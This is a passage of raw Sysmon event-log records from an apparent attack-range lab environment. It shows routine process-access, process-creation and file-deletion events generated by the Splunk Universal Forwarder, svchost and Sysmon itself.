l.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018358Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:33.895{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018357Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:33.895{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018356Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:33.895{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018355Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:33.895{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-752D-613B-4705-00000000F101}224C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018354Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:33.895{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-752D-613B-4705-00000000F101}224C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018353Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:33.896{625C326B-752D-613B-4705-00000000F101}224C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018352Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:33.692{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2F80B649E60079DAD362C5C57D7772DE,SHA256=07D1E3974F57817A86074B648516267A32EE792E4401C70EDBABCF8F9A076ECE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:33.600{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9863145CA5809C0BF60D061CBDE949C2,SHA256=A0A1AF56939B0450B39F2179D0E12400A8D340899617ABD9696863D325DBFDC4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:34.694{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A513FC04D1DF04DDE27D0C2E04DE4A7E,SHA256=64EEA206ECC4BEEE662D4366E0EAFDDBC102577E8DB44985A4CDCC01236F6B58,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018368Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:34.927{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DC678E6323BDB33BC08D167BBBB9BC34,SHA256=77B851D3927E0A65AC12FCDAAFE87B63C45A2B8523E5A1DDA725F90A67D80454,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018367Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:34.708{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1EB3A6BC3F84FB9D92B726E44149E724,SHA256=E5336DF37561501F3F545295471F67AEF192760E96C1C5A8FD00F5B2F285D016,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000018366Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:34.239{625C326B-752D-613B-4705-00000000F101}2243936C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018397Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.833{625C326B-752F-613B-4905-00000000F101}5843408C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000018396Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.773{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=06A9A947CA8E746A292E692AD227C010,SHA256=2A556C64B705AB0FE155ABCFA73A047BF39C7B6605162772F22D746142C629DF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:35.757{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EE4FD3E93E9A40CDA4D0B92B6A12E048,SHA256=D269419320196F43BE4F04B52CB44EF00C3914408F7DDD2BBFDDFC7316AFA4A4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000018395Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.599{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-752F-613B-4905-00000000F101}584C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018394Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.599{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018393Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.599{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018392Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.599{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018391Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.599{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018390Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.599{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018389Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.599{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018388Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.599{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018387Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.599{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018386Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.599{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018385Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.599{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-752F-613B-4905-00000000F101}584C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018384Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.599{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-752F-613B-4905-00000000F101}584C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018383Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.600{625C326B-752F-613B-4905-00000000F101}584C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000018382Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.380{625C326B-752F-613B-4805-00000000F101}3888804C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018381Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.099{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-752F-613B-4805-00000000F101}3888C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018380Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:35.099{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018379Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 